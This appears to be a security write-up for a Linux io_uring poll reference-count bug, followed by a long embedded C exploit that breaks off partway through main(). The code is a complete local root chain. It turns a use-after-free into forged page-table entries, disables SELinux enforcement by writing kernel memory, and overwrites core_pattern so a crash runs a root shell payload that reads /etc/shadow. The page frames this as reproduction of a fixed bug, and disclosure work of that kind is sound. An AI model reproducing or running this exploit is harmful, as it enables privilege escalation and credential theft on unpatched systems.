Summary
An io_uring polling counter stored both a cancellation flag and a reference count in one signed integer. Once the top-bit cancellation flag was set, a signed comparison treated the whole value as negative and skipped the overflow-safe path.
The bug was introduced in November 2022 and fixed upstream in April 2026. The public exploit was later validated against Fedora 44 with its normal SELinux and randomized allocation-cache protections.
Why it mattered
No special namespace capability was required for the affected io_uring operations. By forcing enough concurrent wakeups during cancellation, a local process could make two workers believe they exclusively owned the same request, creating a use-after-free or other kernel memory corruption.
The affected code has been fixed. The risk described here applies to unpatched kernels in the affected line, not automatically to every system using the named distribution today.
What went wrong
io_poll_get_ownership() compared the packed poll_refs value as a signed number. IO_POLL_CANCEL_FLAG uses bit 31, so cancellation changed the sign and let subsequent increments bypass the slow path until the reference portion wrapped.
Exploit
Because the issue and its fixes are public, NebuSec’s validation code is included here for reproducibility. The preview starts at the program entry point and shows exactly 15 lines. Expanding it reveals the complete selected C file embedded in this page; build files, headers, helpers, and any additional sources remain in the linked CyberMeowfia directory.
}
int main(int argc, char **argv){ const uint64_t target_tag = NEBUSEC_TAG; uint64_t wakeups = argc > 1 ? strtoull(argv[1], NULL, 0) : (1ULL << 30) - 1; unsigned workers = argc > 2 ? strtoul(argv[2], NULL, 0) : 1; bool direct = argc <= 3 || !strcmp(argv[3], "direct"); bool sqpoll = argc > 3 && !strcmp(argv[3], "sqpoll"); bool preflight = argc > 3 && !strcmp(argv[3], "preflight"); bool exploit = argc <= 4 || !strcmp(argv[4], "exploit"); struct ring target, *producers; int event_fd, ready[2], resumed[2], status; uint64_t one = 1;
/*
* Copyright 2026 Nebula Security
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/io_uring.h>
#include <poll.h>
#include <sched.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/eventfd.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/sendfile.h>
#include <sys/signalfd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#ifndef MAP_FIXED_NOREPLACE
#define MAP_FIXED_NOREPLACE 0x100000
#endif
#define PERF_TYPE_SOFTWARE 1
#define PERF_COUNT_SW_PAGE_FAULTS 2
#define KCMP_FILE 0
/*
* PERF_ATTR_SIZE_VER0 is enough for a disabled, current-task software event.
* Keep the definition local so the submission remains buildable by musl-gcc
* installations which do not ship linux/perf_event.h.
*/
struct perf_event_attr_v0 {
uint32_t type;
uint32_t size;
uint64_t config;
uint64_t sample_period;
uint64_t sample_type;
uint64_t read_format;
uint64_t flags;
uint32_t wakeup_events;
uint32_t bp_type;
uint64_t bp_addr;
};
struct ring {
int fd;
unsigned entries;
struct io_uring_params p;
void *sq_map;
void *cq_map;
struct io_uring_sqe *sqes;
unsigned *sq_head;
unsigned *sq_tail;
unsigned *sq_mask;
unsigned *sq_flags;
unsigned *sq_array;
unsigned *cq_head;
unsigned *cq_tail;
unsigned *cq_mask;
struct io_uring_cqe *cqes;
};
static uint64_t now_ns(void)
{
struct timespec ts;
clock_gettime(CLOCK_MONOTONIC, &ts);
return (uint64_t)ts.tv_sec * 1000000000ULL + ts.tv_nsec;
}
static void fail(const char *what)
{
perror(what);
exit(1);
}
static int uring_enter(int fd, unsigned submit, unsigned min_complete,
unsigned flags)
{
return syscall(__NR_io_uring_enter, fd, submit, min_complete, flags,
NULL, 0);
}
static int uring_register(int fd, unsigned opcode, const void *arg,
unsigned nr_args)
{
return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args);
}
static void ring_init_flags(struct ring *r, unsigned entries, unsigned flags)
{
size_t sq_sz, cq_sz;
void *sq, *cq;
memset(r, 0, sizeof(*r));
r->p.flags = flags;
r->fd = syscall(__NR_io_uring_setup, entries, &r->p);
if (r->fd < 0)
fail("io_uring_setup");
r->entries = r->p.sq_entries;
sq_sz = r->p.sq_off.array + r->p.sq_entries * sizeof(unsigned);
cq_sz = r->p.cq_off.cqes + r->p.cq_entries * sizeof(struct io_uring_cqe);
if (r->p.features & IORING_FEAT_SINGLE_MMAP) {
if (cq_sz > sq_sz)
sq_sz = cq_sz;
sq = mmap(NULL, sq_sz, PROT_READ | PROT_WRITE, MAP_SHARED |
MAP_POPULATE, r->fd, IORING_OFF_SQ_RING);
if (sq == MAP_FAILED)
fail("mmap rings");
cq = sq;
} else {
sq = mmap(NULL, sq_sz, PROT_READ | PROT_WRITE, MAP_SHARED |
MAP_POPULATE, r->fd, IORING_OFF_SQ_RING);
cq = mmap(NULL, cq_sz, PROT_READ | PROT_WRITE, MAP_SHARED |
MAP_POPULATE, r->fd, IORING_OFF_CQ_RING);
if (sq == MAP_FAILED || cq == MAP_FAILED)
fail("mmap split rings");
}
r->sq_map = sq;
r->cq_map = cq;
r->sqes = mmap(NULL, r->p.sq_entries * sizeof(*r->sqes),
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE,
r->fd, IORING_OFF_SQES);
if (r->sqes == MAP_FAILED)
fail("mmap sqes");
r->sq_head = sq + r->p.sq_off.head;
r->sq_tail = sq + r->p.sq_off.tail;
r->sq_mask = sq + r->p.sq_off.ring_mask;
r->sq_flags = sq + r->p.sq_off.flags;
r->sq_array = sq + r->p.sq_off.array;
r->cq_head = cq + r->p.cq_off.head;
r->cq_tail = cq + r->p.cq_off.tail;
r->cq_mask = cq + r->p.cq_off.ring_mask;
r->cqes = cq + r->p.cq_off.cqes;
}
static void ring_init(struct ring *r, unsigned entries)
{
ring_init_flags(r, entries, 0);
}
static struct io_uring_sqe *ring_get_sqe(struct ring *r)
{
unsigned tail = atomic_load_explicit((_Atomic unsigned *)r->sq_tail,
memory_order_relaxed);
unsigned index = tail & *r->sq_mask;
struct io_uring_sqe *sqe = &r->sqes[index];
memset(sqe, 0, sizeof(*sqe));
r->sq_array[index] = index;
atomic_store_explicit((_Atomic unsigned *)r->sq_tail, tail + 1,
memory_order_release);
return sqe;
}
static int ring_submit_one(struct ring *r, struct io_uring_sqe *sqe)
{
(void)sqe;
return uring_enter(r->fd, 1, 0, 0);
}
static unsigned ring_reap(struct ring *r)
{
unsigned head = atomic_load_explicit((_Atomic unsigned *)r->cq_head,
memory_order_relaxed);
unsigned tail = atomic_load_explicit((_Atomic unsigned *)r->cq_tail,
memory_order_acquire);
atomic_store_explicit((_Atomic unsigned *)r->cq_head, tail,
memory_order_release);
return tail - head;
}
static void producer_prepare(struct ring *r, int event_fd, uint64_t *one)
{
unsigned tail = atomic_load_explicit((_Atomic unsigned *)r->sq_tail,
memory_order_relaxed);
int fixed_fd = event_fd;
if (uring_register(r->fd, IORING_REGISTER_FILES, &fixed_fd, 1))
fail("register producer eventfd");
for (unsigned i = 0; i < r->entries; i++) {
unsigned pos = (tail + i) & *r->sq_mask;
struct io_uring_sqe *sqe = &r->sqes[pos];
memset(sqe, 0, sizeof(*sqe));
sqe->opcode = IORING_OP_WRITE;
sqe->flags = IOSQE_FIXED_FILE | IOSQE_CQE_SKIP_SUCCESS;
sqe->fd = 0;
sqe->off = (uint64_t)-1;
sqe->addr = (uintptr_t)one;
sqe->len = sizeof(*one);
r->sq_array[pos] = pos;
}
}
static void producer_run(struct ring *r, uint64_t wakeups)
{
uint64_t start = now_ns(), done = 0;
unsigned tail = atomic_load_explicit((_Atomic unsigned *)r->sq_tail,
memory_order_relaxed);
while (done < wakeups) {
unsigned batch = r->entries;
int ret;
if (wakeups - done < batch)
batch = wakeups - done;
atomic_store_explicit((_Atomic unsigned *)r->sq_tail, tail + batch,
memory_order_release);
tail += batch;
ret = uring_enter(r->fd, batch, 0, 0);
if (ret != (int)batch) {
fprintf(stderr, "producer submit %d/%u errno=%d\n", ret,
batch, errno);
exit(1);
}
done += batch;
if (!(done & ((1ULL << 24) - 1))) {
double seconds = (now_ns() - start) / 1e9;
printf("[.] wakeups=%llu rate=%.2f M/s\n",
(unsigned long long)done, done / seconds / 1e6);
}
}
printf("[+] generated %llu wakeups in %.3f seconds (%.2f M/s)\n",
(unsigned long long)done, (now_ns() - start) / 1e9,
done / ((now_ns() - start) / 1e9) / 1e6);
}
static void producer_run_direct(int event_fd, uint64_t wakeups)
{
uint64_t start = now_ns(), one = 1;
for (uint64_t done = 0; done < wakeups; done++) {
register long nr asm("rax") = __NR_write;
register long fd asm("rdi") = event_fd;
register const void *buf asm("rsi") = &one;
register long len asm("rdx") = sizeof(one);
asm volatile("syscall" : "+a"(nr) : "D"(fd), "S"(buf), "d"(len)
: "rcx", "r11", "memory");
if (nr != sizeof(one))
fail("direct eventfd write");
if (!((done + 1) & ((1ULL << 24) - 1))) {
double seconds = (now_ns() - start) / 1e9;
printf("[.] direct wakeups=%llu rate=%.2f M/s\n",
(unsigned long long)(done + 1),
(done + 1) / seconds / 1e6);
}
}
printf("[+] generated %llu direct wakeups in %.3f seconds (%.2f M/s)\n",
(unsigned long long)wakeups, (now_ns() - start) / 1e9,
wakeups / ((now_ns() - start) / 1e9) / 1e6);
}
static void producer_run_sqpoll(struct ring *r, uint64_t wakeups)
{
uint64_t start = now_ns(), done = 0;
unsigned tail = atomic_load_explicit((_Atomic unsigned *)r->sq_tail,
memory_order_relaxed);
while (done < wakeups) {
unsigned head = atomic_load_explicit((_Atomic unsigned *)r->sq_head,
memory_order_acquire);
unsigned space = r->entries - (tail - head);
unsigned batch;
if (!space) {
if (atomic_load_explicit((_Atomic unsigned *)r->sq_flags,
memory_order_acquire) &
IORING_SQ_NEED_WAKEUP)
(void)uring_enter(r->fd, 0, 0, IORING_ENTER_SQ_WAKEUP);
asm volatile("pause");
continue;
}
batch = space;
if (wakeups - done < batch)
batch = wakeups - done;
atomic_store_explicit((_Atomic unsigned *)r->sq_tail, tail + batch,
memory_order_release);
tail += batch;
done += batch;
if (atomic_load_explicit((_Atomic unsigned *)r->sq_flags,
memory_order_acquire) & IORING_SQ_NEED_WAKEUP)
(void)uring_enter(r->fd, 0, 0, IORING_ENTER_SQ_WAKEUP);
if (!(done & ((1ULL << 24) - 1))) {
double seconds = (now_ns() - start) / 1e9;
printf("[.] sqpoll wakeups=%llu rate=%.2f M/s\n",
(unsigned long long)done, done / seconds / 1e6);
}
}
while (atomic_load_explicit((_Atomic unsigned *)r->sq_head,
memory_order_acquire) != tail) {
if (atomic_load_explicit((_Atomic unsigned *)r->sq_flags,
memory_order_acquire) & IORING_SQ_NEED_WAKEUP)
(void)uring_enter(r->fd, 0, 0, IORING_ENTER_SQ_WAKEUP);
asm volatile("pause");
}
printf("[+] generated %llu sqpoll wakeups in %.3f seconds (%.2f M/s)\n",
(unsigned long long)wakeups, (now_ns() - start) / 1e9,
wakeups / ((now_ns() - start) / 1e9) / 1e6);
}
static void pin_to_cpu(unsigned cpu)
{
cpu_set_t cpus;
CPU_ZERO(&cpus);
CPU_SET(cpu, &cpus);
if (sched_setaffinity(0, sizeof(cpus), &cpus))
fail("sched_setaffinity");
}
static void locked_wake_resumer(int go_fd, int ready_fd, pid_t target)
{
char byte;
pin_to_cpu(0);
if (write(ready_fd, "R", 1) != 1)
fail("locked wake resumer ready");
if (read(go_fd, &byte, 1) != 1)
fail("locked wake resumer go");
if (kill(target, SIGCONT))
fail("locked wake SIGCONT");
_exit(0);
}
/*
* The first SQE wakes a CPU-0 helper which resumes the stopped owner task.
* That task removes the already-pending task-work node and then blocks on this
* ring's uring_lock. The following NOPs keep the CPU-1 io_uring_enter() in
* the locked submission section until the last SQE writes target_eventfd.
* Its poll callback observes the wrapped zero ref field, takes false
* ownership and queues the same node again. Only then is uring_lock released,
* so the original task work completes/frees the request before the newly
* queued work consumes it again.
*/
static void locked_wake_batch(struct ring *r, int target_eventfd, pid_t target)
{
int go[2], ready[2], status;
uint64_t one = 1;
char byte = 'G';
unsigned tail, batch = r->entries;
pid_t resumer;
if (pipe(go) || pipe(ready))
fail("locked wake pipes");
resumer = fork();
if (resumer < 0)
fail("locked wake fork");
if (!resumer)
locked_wake_resumer(go[0], ready[1], target);
close(go[0]);
close(ready[1]);
if (read(ready[0], &byte, 1) != 1)
fail("locked wake wait ready");
tail = atomic_load_explicit((_Atomic unsigned *)r->sq_tail,
memory_order_relaxed);
for (unsigned i = 0; i < batch; i++) {
unsigned pos = (tail + i) & *r->sq_mask;
struct io_uring_sqe *sqe = &r->sqes[pos];
memset(sqe, 0, sizeof(*sqe));
sqe->flags = IOSQE_CQE_SKIP_SUCCESS;
if (i == 0) {
sqe->opcode = IORING_OP_WRITE;
sqe->fd = go[1];
sqe->off = (uint64_t)-1;
sqe->addr = (uintptr_t)&byte;
sqe->len = 1;
} else if (i == batch - 1) {
sqe->opcode = IORING_OP_WRITE;
sqe->fd = target_eventfd;
sqe->off = (uint64_t)-1;
sqe->addr = (uintptr_t)&one;
sqe->len = sizeof(one);
} else {
sqe->opcode = IORING_OP_NOP;
}
r->sq_array[pos] = pos;
}
atomic_store_explicit((_Atomic unsigned *)r->sq_tail, tail + batch,
memory_order_release);
pin_to_cpu(1);
printf("[+] submitting %u locked SQEs\n", batch);
if (uring_enter(r->fd, batch, 0, 0) != (int)batch)
fail("locked wake io_uring_enter");
close(go[1]);
if (waitpid(resumer, &status, 0) != resumer || !WIFEXITED(status) ||
WEXITSTATUS(status))
fail("locked wake resumer");
puts("[+] locked target wake submitted after owner resume");
}
#define FEDORA_CORE_PATTERN 0xffffffff83c77c60ULL
#define PERF_RECLAIM_FILES 256
#define PT_SPRAY_COUNT 4096
#define PT_SPRAY_STRIDE (2UL * 1024 * 1024)
#define PT_SPRAY_BASE 0x10000000000UL
#define PERF_MARKER_OFF 0xf00
#define PERF_MARKER UINT64_C(0x5f6e656275736563)
#define NEBUSEC_TAG UINT64_C(0x5f6e656200000001)
#define FEDORA_TEXT_LINK 0xffffffff81000000ULL
#define FEDORA_PHYS_START 0x01000000ULL
#define FEDORA_PHYS_END 0x3ffdc000ULL
#define FEDORA_SELINUX_STATE 0xffffffff84b36f40ULL
#define FEDORA_TRAMPOLINE_PHYS 0x0009c000ULL
#define FEDORA_TRAMPOLINE_LEAK_OFF 0x03e04000ULL
static char saved_core_pattern[128];
static int spray_seed_fd = -1;
static void root_payload(int pid)
{
char path[192];
int pidfd, fd;
pidfd = syscall(SYS_pidfd_open, pid, 0);
for (int i = 0; i < 3 && pidfd >= 0; i++) {
fd = syscall(SYS_pidfd_getfd, pidfd, i, 0);
if (fd >= 0) {
dup2(fd, i);
close(fd);
}
}
printf("[+] root core helper running uid=%u euid=%u\n",
getuid(), geteuid());
snprintf(path, sizeof(path),
"id; head -n 1 /etc/shadow; cat /flag 2>/dev/null || cat /root/flag 2>/dev/null");
execl("/bin/sh", "sh", "-c", path, NULL);
_exit(1);
}
static void trigger_core_helper(void)
{
struct rlimit lim = { RLIM_INFINITY, RLIM_INFINITY };
int memfd, self;
(void)setrlimit(RLIMIT_CORE, &lim);
memfd = syscall(SYS_memfd_create, "_nebusec", 0);
self = open("/proc/self/exe", O_RDONLY);
if (memfd < 0 || self < 0)
fail("prepare core helper");
if (sendfile(memfd, self, NULL, 1U << 24) < 0)
fail("copy core helper");
if (dup2(memfd, 666) != 666)
fail("dup core helper");
close(memfd);
close(self);
puts("[+] triggering core helper");
*(volatile unsigned long *)0 = 0;
}
static size_t read_core_pattern(char *out, size_t out_sz)
{
int fd;
ssize_t n;
fd = open("/proc/sys/kernel/core_pattern", O_RDONLY);
if (fd < 0)
fail("open core_pattern");
n = read(fd, out, out_sz - 1);
close(fd);
if (n <= 0)
fail("read core_pattern");
while (n && (out[n - 1] == '\n' || out[n - 1] == '\r'))
n--;
out[n] = 0;
return n;
}
static int perf_open_self(void)
{
struct perf_event_attr_v0 attr;
memset(&attr, 0, sizeof(attr));
attr.type = PERF_TYPE_SOFTWARE;
attr.size = sizeof(attr);
attr.config = PERF_COUNT_SW_PAGE_FAULTS;
/* disabled | exclude_kernel | exclude_hv */
attr.flags = (1ULL << 0) | (1ULL << 5) | (1ULL << 6);
return syscall(__NR_perf_event_open, &attr, 0, -1, -1, 0);
}
static void flush_cacheline(void *addr)
{
asm volatile("clflush (%0)" : : "r"(addr) : "memory");
asm volatile("mfence" : : : "memory");
}
static void discard_user_translation(void *addr, size_t len)
{
/* Zap the legitimate shmem PTE and its cached translation before the
* raw page-table alias installs a replacement. Doing this afterwards
* would make the kernel account the forged physical page as file data.
*/
if (madvise(addr, len, MADV_DONTNEED))
fail("discard old user translation");
}
/*
* Exploit closure for 326941b2 only:
*
* - the duplicated poll completion leaves target_fd pointing at a freed
* struct file;
* - reclaim that exact filp with a perf event and locate it with KCMP_FILE;
* - the stale descriptor supplies the one unaccounted fput which releases
* the event/ring while its VMA is live;
* - Fedora 6.19 maps perf pages with VM_PFNMAP, so reclaim the raw page as a
* PTE page and prove that the still-live perf VMA controls those PTEs.
*
* perf_event_open/mmap are both available to stock uid 65534 on the Fedora
* target (perf_event_paranoid=2). No namespace or target setting is used.
*/
static void perf_page_uaf_exploit(int target_fd)
{
struct rlimit nofile = { 8192, 8192 };
int perf_fds[PERF_RECLAIM_FILES];
void *perf_maps[PERF_RECLAIM_FILES];
void *pt_addrs[PT_SPRAY_COUNT];
volatile uint64_t *uaf = NULL;
unsigned victim = PERF_RECLAIM_FILES;
int memfd;
uint64_t seed = PERF_MARKER;
pid_t self = getpid();
memset(perf_fds, -1, sizeof(perf_fds));
memset(perf_maps, 0, sizeof(perf_maps));
memset(pt_addrs, 0, sizeof(pt_addrs));
(void)setrlimit(RLIMIT_NOFILE, &nofile);
/* filp_cachep is SLAB_TYPESAFE_BY_RCU. */
pin_to_cpu(0);
usleep(1000000);
for (unsigned i = 0; i < PERF_RECLAIM_FILES; i++) {
pin_to_cpu(i & 1);
perf_fds[i] = perf_open_self();
if (perf_fds[i] < 0)
fail("perf_event_open reclaim");
perf_maps[i] = mmap(NULL, 4096, PROT_READ | PROT_WRITE,
MAP_SHARED, perf_fds[i], 0);
if (perf_maps[i] == MAP_FAILED)
fail("mmap perf reclaim");
*(volatile uint64_t *)((char *)perf_maps[i] + PERF_MARKER_OFF) =
PERF_MARKER ^ i;
}
for (unsigned i = 0; i < PERF_RECLAIM_FILES; i++) {
if (syscall(SYS_kcmp, self, self, KCMP_FILE,
target_fd, perf_fds[i]) == 0) {
victim = i;
break;
}
}
if (victim == PERF_RECLAIM_FILES) {
puts("[-] perf filp reclaim missed");
for (;;)
pause();
}
printf("[+] dangling filp reclaimed by perf event %u\n", victim);
uaf = perf_maps[victim];
/* Only create unrelated files after the dangling filp has been pinned
* by the replacement perf fd+VMA. Otherwise the memfd itself could
* consume the just-released filp slot before the intended reclaim.
* The empty VMAs do not allocate PTE pages until first touch below.
*/
memfd = syscall(SYS_memfd_create, "_nebusec_pte", 0);
/* Back the complete 2 MiB VMA. shmem may fault-around neighboring PTEs;
* flush_user_translation() below explicitly invalidates those cached
* translations after every forged-PTE batch.
*/
if (memfd < 0 || ftruncate(memfd, PT_SPRAY_STRIDE))
fail("prepare PTE spray memfd");
if (pwrite(memfd, &seed, sizeof(seed), 0) != sizeof(seed))
fail("seed PTE spray memfd");
for (unsigned i = 0; i < PT_SPRAY_COUNT; i++) {
void *want = (void *)(PT_SPRAY_BASE + i * PT_SPRAY_STRIDE);
pt_addrs[i] = mmap(want, PT_SPRAY_STRIDE,
PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_FIXED_NOREPLACE,
memfd, 0);
if (pt_addrs[i] != want)
fail("reserve PTE spray VMA");
}
/* Preallocate every upper-level page-table page. One helper PTE table at
* the end of each 1 GiB region keeps the subsequently released perf page
* from being consumed as a PMD table instead of the controllable leaf PTE
* table we need.
*/
for (unsigned i = 511; i < PT_SPRAY_COUNT; i += 512)
*(volatile uint64_t *)pt_addrs[i] = PERF_MARKER;
/* Make the released page an unambiguous allocation tracer. The event is
* disabled, and these are user-writable perf metadata bytes.
*/
memset((void *)uaf, 0, 4096);
/* The real perf file has fd+VMA references. target_fd is the stale,
* unaccounted reference: these two closes therefore run ->release with
* the perf VMA still installed.
*/
pin_to_cpu(0);
close(target_fd);
close(perf_fds[victim]);
perf_fds[victim] = -1;
puts("[+] released perf event/ring behind live VM_PFNMAP VMA");
/* The ring page is released from an RCU callback. A short grace-period
* wait is enough on this two-vCPU target and leaves less time for unrelated
* order-0 allocations to consume the page before the PTE spray.
*/
usleep(300000);
/* Touch one separate 2 MiB range at a time and inspect the released page
* after each allocation. This identifies the owning VMA at the instant
* the page becomes a PTE table, without zapping and freeing that table.
*/
{
unsigned owner = PT_SPRAY_COUNT;
uint64_t pte = 0;
for (unsigned i = 0; i < PT_SPRAY_COUNT; i++) {
if ((i & 511) == 511)
continue;
*(volatile uint64_t *)pt_addrs[i] = PERF_MARKER;
pte = uaf[0];
if ((pte & 0xff) == 0x67) {
owner = i;
break;
}
}
if (owner != PT_SPRAY_COUNT) {
printf("[+] freed perf page reclaimed as PTE page: slot=0 pte=%#llx\n",
(unsigned long long)pte);
if (owner != PT_SPRAY_COUNT)
printf("[+] controlled PTE owner=%u address=%p\n",
owner, pt_addrs[owner]);
else
puts("[!] PTE owner identification pending");
if (owner != PT_SPRAY_COUNT) {
const char payload[] = "|/proc/%P/exe %P";
const uint64_t core_off =
FEDORA_CORE_PATTERN - FEDORA_TEXT_LINK;
const uint64_t selinux_off =
FEDORA_SELINUX_STATE - FEDORA_TEXT_LINK;
const unsigned in_page =
FEDORA_CORE_PATTERN & 0xfff;
unsigned slots = 0, hit = PT_SPRAY_COUNT;
uint64_t text_phys_found = 0;
uint64_t flags;
char verify[128];
/* Reuse the legitimate writable/dirty memfd PTE's exact
* permission bits for the forged entries.
*/
*(volatile uint64_t *)pt_addrs[owner] = PERF_MARKER;
flags = uaf[0] & 0xfff;
printf("[+] owner value=%#llx forged-PTE flags=%#llx core-link-offset=%#llx\n",
(unsigned long long)*(volatile uint64_t *)
pt_addrs[owner],
(unsigned long long)flags,
(unsigned long long)core_off);
{
const unsigned alias_slot = 510;
uint64_t owner_pte = uaf[0];
uint64_t alias_value;
discard_user_translation(
(char *)pt_addrs[owner] +
alias_slot * 4096, 4096);
uaf[alias_slot] =
(owner_pte & ~0xfffULL) | flags;
flush_cacheline((void *)&uaf[alias_slot]);
/* This CPU populated only entry zero while finding the
* owner. Read forged entries from the other vCPU, whose
* paging-structure caches have never seen this VMA.
*/
pin_to_cpu(1);
alias_value = *(volatile uint64_t *)
((char *)pt_addrs[owner] +
alias_slot * 4096);
printf("[.] forged self-alias value=%#llx pte-before=%#llx pte-after=%#llx\n",
(unsigned long long)alias_value,
(unsigned long long)
((owner_pte & ~0xfffULL) | flags),
(unsigned long long)uaf[alias_slot]);
if (alias_value != PERF_MARKER) {
puts("[-] forged PTE did not survive first access");
for (;;)
pause();
}
}
/* Fedora's physical KASLR load base is 2 MiB aligned.
* Map every possible core_pattern page at once into the
* otherwise untouched entries of the controlled PTE page.
* This avoids stale-TLB reuse between candidates.
*/
discard_user_translation(
(char *)pt_addrs[owner] + 4096,
511 * 4096UL);
for (uint64_t text_phys = FEDORA_PHYS_START;
text_phys + core_off < FEDORA_PHYS_END &&
slots < 511;
text_phys += PT_SPRAY_STRIDE) {
uint64_t core_phys = text_phys + core_off;
slots++;
uaf[slots] = (core_phys & ~0xfffULL) | flags;
}
for (unsigned line = 0; line < 4096; line += 64)
flush_cacheline((char *)uaf + line);
for (unsigned slot = 1; slot <= slots; slot++) {
char *candidate = (char *)pt_addrs[owner] +
slot * 4096 + in_page;
if (!memcmp(candidate, saved_core_pattern,
strlen(saved_core_pattern))) {
hit = slot;
text_phys_found = FEDORA_PHYS_START +
(uint64_t)(slot - 1) *
PT_SPRAY_STRIDE;
printf("[+] core_pattern physical candidate slot=%u value=%s\n",
hit, candidate);
break;
}
}
if (hit == PT_SPRAY_COUNT) {
const unsigned tramp_slot = slots + 1;
const unsigned core_slot = slots + 2;
volatile uint64_t *trampoline;
/* The stock x86 trampoline page contains the physical
* pointer to __brk_base+0x4000 in qword zero. It is a
* fixed architectural page, so this is an in-process
* physical KASLR derivation rather than an address
* oracle or another vulnerability.
*/
discard_user_translation(
(char *)pt_addrs[owner] +
tramp_slot * 4096, 4096);
uaf[tramp_slot] = FEDORA_TRAMPOLINE_PHYS | flags;
flush_cacheline((void *)&uaf[tramp_slot]);
trampoline = (volatile uint64_t *)
((char *)pt_addrs[owner] +
tramp_slot * 4096);
printf("[.] trampoline qwords=%#llx %#llx %#llx\n",
(unsigned long long)trampoline[0],
(unsigned long long)trampoline[1],
(unsigned long long)trampoline[2]);
if (trampoline[0] > FEDORA_PHYS_START &&
trampoline[0] < FEDORA_PHYS_END &&
trampoline[1] == 0) {
text_phys_found =
(trampoline[0] & 0xffffffffULL) -
FEDORA_TRAMPOLINE_LEAK_OFF + 4;
}
if (text_phys_found < FEDORA_PHYS_START ||
text_phys_found >= FEDORA_PHYS_END ||
(text_phys_found & (PT_SPRAY_STRIDE - 1))) {
puts("[-] physical KASLR derivation failed");
for (;;)
pause();
}
printf("[+] trampoline-derived physical _stext=%#llx\n",
(unsigned long long)text_phys_found);
discard_user_translation(
(char *)pt_addrs[owner] +
core_slot * 4096, 4096);
uaf[core_slot] =
((text_phys_found + core_off) &
~0xfffULL) | flags;
flush_cacheline((void *)&uaf[core_slot]);
if (memcmp((char *)pt_addrs[owner] +
core_slot * 4096 + in_page,
saved_core_pattern,
strlen(saved_core_pattern))) {
puts("[-] trampoline-derived core_pattern validation failed");
for (;;)
pause();
}
hit = core_slot;
printf("[+] trampoline-derived core_pattern slot=%u\n",
hit);
}
{
const uint64_t text_phys = text_phys_found;
const uint64_t selinux_phys = text_phys +
selinux_off;
const unsigned selinux_slot = 511;
volatile unsigned char *enforcing;
char enforce_status[8];
int enforce_fd;
ssize_t enforce_n;
/* Fedora builds with RANDSTRUCT_NONE and
* SECURITY_SELINUX_DEVELOP: enforcing and
* initialized are bytes zero and one.
*/
discard_user_translation(
(char *)pt_addrs[owner] +
selinux_slot * 4096, 4096);
uaf[selinux_slot] =
(selinux_phys & ~0xfffULL) | flags;
flush_cacheline((void *)&uaf[selinux_slot]);
enforcing = (volatile unsigned char *)
pt_addrs[owner] + selinux_slot * 4096 +
(selinux_off & 0xfff);
printf("[+] selinux_state bytes before=%02x %02x\n",
enforcing[0], enforcing[1]);
if (enforcing[0] != 1 || enforcing[1] != 1) {
puts("[-] selinux_state physical validation failed");
for (;;)
pause();
}
enforcing[0] = 0;
flush_cacheline((void *)enforcing);
enforce_fd = open("/sys/fs/selinux/enforce", O_RDONLY);
enforce_n = enforce_fd < 0 ? -1 :
read(enforce_fd, enforce_status,
sizeof(enforce_status) - 1);
if (enforce_fd >= 0)
close(enforce_fd);
if (enforce_n <= 0)
fail("verify SELinux enforcing");
enforce_status[enforce_n] = 0;
printf("[+] SELinux enforcing after overwrite: %s",
enforce_status);
if (enforce_status[0] != '0') {
puts("[-] SELinux disable verification failed");
for (;;)
pause();
}
}
memcpy((char *)pt_addrs[owner] + hit * 4096 +
in_page, payload, sizeof(payload));
flush_cacheline((char *)pt_addrs[owner] + hit * 4096 +
in_page);
read_core_pattern(verify, sizeof(verify));
printf("[+] core_pattern after overwrite: %s\n", verify);
if (strcmp(verify, payload)) {
puts("[-] core_pattern verification failed");
for (;;)
pause();
}
if (!fork())
trigger_core_helper();
for (;;)
pause();
}
puts("[+] _nebusec perf raw-page UAF closure proved");
for (;;)
pause();
}
}
printf("[-] PTE reclaim missed; stale marker=%#llx\n",
(unsigned long long)*(volatile uint64_t *)
((char *)uaf + PERF_MARKER_OFF));
for (;;)
pause();
}
int main(int argc, char **argv)
{
const uint64_t target_tag = NEBUSEC_TAG;
uint64_t wakeups = argc > 1 ? strtoull(argv[1], NULL, 0) :
(1ULL << 30) - 1;
unsigned workers = argc > 2 ? strtoul(argv[2], NULL, 0) : 1;
bool direct = argc <= 3 || !strcmp(argv[3], "direct");
bool sqpoll = argc > 3 && !strcmp(argv[3], "sqpoll");
bool preflight = argc > 3 && !strcmp(argv[3], "preflight");
bool exploit = argc <= 4 || !strcmp(argv[4], "exploit");
struct ring target, *producers;
int event_fd, ready[2], resumed[2], status;
uint64_t one = 1;
pid_t child;
setvbuf(stdout, NULL, _IONBF, 0);
if (!getuid() && argc > 1) {
root_payload(atoi(argv[1]));
return 0;
}
read_core_pattern(saved_core_pattern, sizeof(saved_core_pattern));
printf("[+] stock core_pattern: %s\n", saved_core_pattern);
{
struct rlimit nofile = { 8192, 8192 };
(void)setrlimit(RLIMIT_NOFILE, &nofile);
spray_seed_fd = open("/tmp/_nebusec_poll", O_CREAT | O_RDWR, 0600);
if (spray_seed_fd < 0)
fail("create spray file");
if (dup2(spray_seed_fd, 4095) != 4095)
fail("expand fd table");
close(4095);
}
if (!workers || workers > 8)
fail("invalid worker count");
printf("[+] uid=%d wakeup target=%llu workers=%u\n", getuid(),
(unsigned long long)wakeups, workers);
event_fd = eventfd(0, EFD_CLOEXEC | EFD_NONBLOCK);
if (event_fd < 0 || pipe(ready) || pipe(resumed))
fail("setup fds");
ring_init(&target, wakeups == (1ULL << 30) - 1 ? 32768 : 8);
child = fork();
if (child < 0)
fail("fork");
if (!child) {
struct io_uring_sqe *sqe;
pin_to_cpu(0);
close(ready[0]);
close(resumed[0]);
sqe = ring_get_sqe(&target);
